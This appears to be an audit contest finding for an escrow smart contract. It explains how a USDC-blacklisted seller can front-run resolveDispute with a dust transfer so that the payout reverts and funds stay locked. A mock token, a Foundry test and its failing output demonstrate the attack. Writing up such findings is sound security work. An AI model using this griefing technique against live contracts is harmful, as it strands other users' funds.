If the token is USDC, a malicious seller could make the resolveDispute call fail through a griefing attack
If a malicious seller is added to the USDC blacklist, they can make the resolveDispute call fail by performing a front-run transfer of a certain amount.
Here is the flow of the attack:
For any reason, the buyer and seller decide not to work together and the buyer wants their tokens back.
Suppose that: contractEscrow balance = 50 USDC i_arbiterFee = 10 USDC
The arbiter calls resolveDispute with buyerAward = 40 USDC (this way, 40 USDC is transferred to the buyer and 10 USDC to the arbiter).
The malicious seller (whose address is added to the blacklist) sees the transaction in the mempool and, from another address != seller, transfers for example 0.001 USDC. This makes the contractEscrow balance = 50.001 USDC
this make that fail in this lines
tokenBalance = i_tokenContract.balanceOf(address(this));
if (tokenBalance > 0) {
i_tokenContract.safeTransfer(i_seller, tokenBalance);
}
runt test for demostration
first we make mocker20 to usdc transfer blocked (for test purpose number decimals don't care)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from
"@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ERC20MockTransBlocked is ERC20 {
address seller;
constructor(address _seller) ERC20("fdfd","fdf") {
seller=_seller;
}
function mint(address account, uint256 amount) external {
_mint(account, amount);
}
function burn(address account, uint256 amount) external {
_burn(account, amount);
}
function transfer(address to, uint256 amount) public override returns (bool) {
require(to!=seller,"blocked");// if seller == to revert
super.transfer(to,amount);
return true;
}
}
then import and run this test in EscrowTest.t.sol
function test_ResolveDispute_fail_dueMaliciousSeller() public {
address other = address(66);
ERC20MockTransBlocked token = new ERC20MockTransBlocked(SELLER);
vm.startPrank(BUYER);
ERC20MockTransBlocked(address(token)).mint(BUYER, 50e18);
ERC20MockTransBlocked(address(token)).mint(other, 5e18);
console.log("other balance:",token.balanceOf(other));
ERC20MockTransBlocked(address(token)).approve(address(escrowFactory), 50e18);
escrow = escrowFactory.newEscrow(50e18, token, SELLER, ARBITER, 10e18, SALT1);
vm.stopPrank();
vm.prank(BUYER);
escrow.initiateDispute();
console.log("escrow balance before:",token.balanceOf(address(escrow)));
/****** simuling front run*********/
vm.prank(other);
token.transfer(address(escrow),1);
console.log("escrow balance after:",token.balanceOf(address(escrow)));
vm.prank(ARBITER);
escrow.resolveDispute(40e18);
assertEq(uint256(escrow.getState()), uint256(IEscrow.State.Resolved));
}
the result
Running 1 test for test/unit/EscrowTest.t.sol:EscrowTest
[FAIL. Reason: blocked]
test_ResolveDispute_fail_dueMaliciousSeller() (gas: 1549875)
Logs:
other balance: 5000000000000000000
escrow balance before: 50000000000000000000
escrow balance after: 50000000000000000001
Test result: FAILED. 0 passed; 1 failed; finished in 8.82ms
Failing tests:
Encountered 1 failing test in
test/unit/EscrowTest.t.sol:EscrowTest
[FAIL. Reason: blocked]
test_ResolveDispute_fail_dueMaliciousSeller() (gas: 1549875)
Encountered a total of 1 failing tests, 0 tests succeeded
A malicious seller can make the tokens become stuck in the contract## Tools Used
Add a function to retrieve tokens
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.